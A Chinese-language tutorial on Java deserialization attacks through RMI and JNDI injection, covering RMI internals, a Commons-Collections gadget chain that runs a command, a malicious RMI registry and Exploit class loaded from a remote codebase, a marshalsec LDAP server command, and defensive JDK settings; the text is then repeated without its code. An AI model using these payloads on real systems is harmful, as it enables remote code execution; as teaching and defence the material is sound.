Java反序列化-RMI&JNDI初探
字数 2140 2025-08-25 22:59:02

Java反序列化漏洞:RMI与JNDI攻击详解

1. RMI基础概念

1.1 RMI定义

RMI(Remote Method Invocation,远程方法调用)是Java中允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象方法的机制。这两个虚拟机可以运行在同一台计算机的不同进程中,也可以运行在网络上的不同计算机中。

1.2 RMI核心组件

  1. Stub和Skeleton

    • Stub(存根):位于客户端的代理类,包含服务器Skeleton信息
    • Skeleton(骨架):位于服务端的代理类
  2. RMI Registry

    • RMI注册表,默认监听1099端口
    • Client通过Name向RMI Registry查询,获取绑定关系和对应的Stub
  3. 远程对象

    • 必须实现java.rmi.Remote接口
    • 实现类必须继承UnicastRemoteObject
    • 只有远程接口中声明的方法才能被远程调用
  4. 序列化传输

    • 参数和返回值在传输时会被序列化
    • 相关类必须实现java.io.Serializable接口
    • 客户端和服务端的serialVersionUID必须一致

2. RMI通信流程

  1. 服务端创建远程对象,Skeleton侦听随机端口
  2. RMI Registry启动,注册远程对象,绑定Name和远程对象
  3. 客户端向RMI Registry发起请求,根据Name获取Stub
  4. Stub与Skeleton建立通信,进行远程方法调用
  5. 调用结果通过Skeleton→Stub→客户端返回

3. RMI攻击面分析

3.1 反序列化攻击

由于RMI通信使用序列化数据传输,客户端和服务端可以相互进行反序列化攻击。

攻击服务端(客户端→服务端)

条件

  • 服务端JDK版本存在漏洞(如JDK1.7u21)
  • 服务端存在可利用组件(如Commons-Collections3.1)

攻击代码示例

public static Object payload() throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map map = new HashMap();
    map.put("value", "lala");
    Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, transformedMap);
    return instance;
}

攻击客户端(服务端→客户端)

服务端同样可以通过恶意反序列化数据攻击客户端。

3.2 远程动态加载代码

Java平台支持从任何URL动态下载Java类组件到虚拟机中执行。

攻击条件

  1. java.rmi.server.useCodebaseOnly=false(JDK6u45、7u21开始默认为true)
  2. 设置securityManagerjava.security.policy

服务端设置codebase示例

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");

客户端安全策略示例(java.policy):

grant {
    permission java.security.AllPermission;
};

4. RMI工厂模式

工厂模式是RMI的另一种使用方式,流程如下:

  1. 创建FactoryImpl对象,设置其指向ProductImp对象
  2. RMI Registry启动,注册指向FactoryImpl对象的reference对象
  3. 客户端查询RMI Registry,获取reference对象
  4. 客户端加载FactoryImpl对象并调用其方法,获取指向ProductImp的reference对象
  5. 客户端加载ProductImp对象并调用其方法

特点:执行远程对象方法的是RMI客户端,可用于攻击客户端。

5. JNDI注入攻击

5.1 JNDI基础

JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供查找和访问各种命名和目录服务的统一接口。

常用服务接口

  • LDAP(轻量级目录访问协议)
  • CORBA(公共对象请求代理结构服务)
  • RMI(Java远程方法调用注册)
  • DNS(域名服务)

5.2 JNDI注入原理

lookup函数的参数URL可控时,就会产生JNDI注入漏洞。

RMI协议攻击

条件

  • com.sun.jndi.rmi.object.trustURLCodebase=true(JDK6u132、7u122、8u113开始默认为false)

恶意服务器代码

Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);

Exploit类示例

public class Exploit implements ObjectFactory {
    static {
        System.err.println("Pwned");
        try {
            String[] cmd = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
            java.lang.Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    //...
}

LDAP协议攻击

条件

  • com.sun.jndi.ldap.object.trustURLCodebase=true(JDK11.0.1、8u191、7u201、6u211开始默认为false)

使用marshalsec启动LDAP服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1099

6. 防御措施

  1. 升级JDK:使用最新版本JDK,默认禁用远程codebase加载
  2. 设置安全属性
    • java.rmi.server.useCodebaseOnly=true
    • com.sun.jndi.rmi.object.trustURLCodebase=false
    • com.sun.jndi.ldap.object.trustURLCodebase=false
  3. 输入验证:对用户输入的JNDI查找名称进行严格验证
  4. 安全策略:配置严格的安全管理器策略
  5. 反序列化防护:使用白名单验证反序列化的类

7. 总结

RMI和JNDI注入是Java反序列化攻击的重要攻击面,理解其工作原理和攻击方式对于安全防护至关重要。随着JDK版本的更新,许多默认不安全的配置已被修复,但在旧系统中仍然存在风险。开发者应当了解这些攻击原理,采取适当的防御措施保护系统安全。

Java反序列化漏洞:RMI与JNDI攻击详解 1. RMI基础概念 1.1 RMI定义 RMI(Remote Method Invocation,远程方法调用)是Java中允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象方法的机制。这两个虚拟机可以运行在同一台计算机的不同进程中,也可以运行在网络上的不同计算机中。 1.2 RMI核心组件 Stub和Skeleton : Stub(存根):位于客户端的代理类,包含服务器Skeleton信息 Skeleton(骨架):位于服务端的代理类 RMI Registry : RMI注册表,默认监听1099端口 Client通过Name向RMI Registry查询,获取绑定关系和对应的Stub 远程对象 : 必须实现 java.rmi.Remote 接口 实现类必须继承 UnicastRemoteObject 类 只有远程接口中声明的方法才能被远程调用 序列化传输 : 参数和返回值在传输时会被序列化 相关类必须实现 java.io.Serializable 接口 客户端和服务端的 serialVersionUID 必须一致 2. RMI通信流程 服务端创建远程对象,Skeleton侦听随机端口 RMI Registry启动,注册远程对象,绑定Name和远程对象 客户端向RMI Registry发起请求,根据Name获取Stub Stub与Skeleton建立通信,进行远程方法调用 调用结果通过Skeleton→Stub→客户端返回 3. RMI攻击面分析 3.1 反序列化攻击 由于RMI通信使用序列化数据传输,客户端和服务端可以相互进行反序列化攻击。 攻击服务端(客户端→服务端) 条件 : 服务端JDK版本存在漏洞(如JDK1.7u21) 服务端存在可利用组件(如Commons-Collections3.1) 攻击代码示例 : 攻击客户端(服务端→客户端) 服务端同样可以通过恶意反序列化数据攻击客户端。 3.2 远程动态加载代码 Java平台支持从任何URL动态下载Java类组件到虚拟机中执行。 攻击条件 : java.rmi.server.useCodebaseOnly=false (JDK6u45、7u21开始默认为true) 设置 securityManager 和 java.security.policy 服务端设置codebase示例 : 客户端安全策略示例 (java.policy): 4. RMI工厂模式 工厂模式是RMI的另一种使用方式,流程如下: 创建FactoryImpl对象,设置其指向ProductImp对象 RMI Registry启动,注册指向FactoryImpl对象的reference对象 客户端查询RMI Registry,获取reference对象 客户端加载FactoryImpl对象并调用其方法,获取指向ProductImp的reference对象 客户端加载ProductImp对象并调用其方法 特点 :执行远程对象方法的是RMI客户端,可用于攻击客户端。 5. JNDI注入攻击 5.1 JNDI基础 JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供查找和访问各种命名和目录服务的统一接口。 常用服务接口 : LDAP(轻量级目录访问协议) CORBA(公共对象请求代理结构服务) RMI(Java远程方法调用注册) DNS(域名服务) 5.2 JNDI注入原理 当 lookup 函数的参数URL可控时,就会产生JNDI注入漏洞。 RMI协议攻击 条件 : com.sun.jndi.rmi.object.trustURLCodebase=true (JDK6u132、7u122、8u113开始默认为false) 恶意服务器代码 : Exploit类示例 : LDAP协议攻击 条件 : com.sun.jndi.ldap.object.trustURLCodebase=true (JDK11.0.1、8u191、7u201、6u211开始默认为false) 使用marshalsec启动LDAP服务器 : 6. 防御措施 升级JDK :使用最新版本JDK,默认禁用远程codebase加载 设置安全属性 : java.rmi.server.useCodebaseOnly=true com.sun.jndi.rmi.object.trustURLCodebase=false com.sun.jndi.ldap.object.trustURLCodebase=false 输入验证 :对用户输入的JNDI查找名称进行严格验证 安全策略 :配置严格的安全管理器策略 反序列化防护 :使用白名单验证反序列化的类 7. 总结 RMI和JNDI注入是Java反序列化攻击的重要攻击面,理解其工作原理和攻击方式对于安全防护至关重要。随着JDK版本的更新,许多默认不安全的配置已被修复,但在旧系统中仍然存在风险。开发者应当了解这些攻击原理,采取适当的防御措施保护系统安全。